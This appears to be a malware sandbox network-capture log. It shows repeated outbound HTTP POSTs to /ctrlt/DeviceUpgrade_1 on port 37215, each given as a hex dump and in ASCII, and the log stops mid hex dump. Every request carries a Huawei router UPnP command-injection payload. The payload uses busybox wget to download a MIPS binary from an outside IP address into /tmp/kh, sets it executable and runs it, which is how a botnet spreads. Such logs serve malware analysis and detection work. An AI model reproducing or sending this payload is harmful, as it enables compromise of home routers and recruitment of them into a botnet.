Dec 30, 2023 07:15:21.761337996 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:29.948018074 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:46.073889971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:18.325459003 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	42982	156.254.52.86	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:13.874917030 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:15.422061920 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:17.277864933 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:20.989305019 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:28.412295103 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:43.258249998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 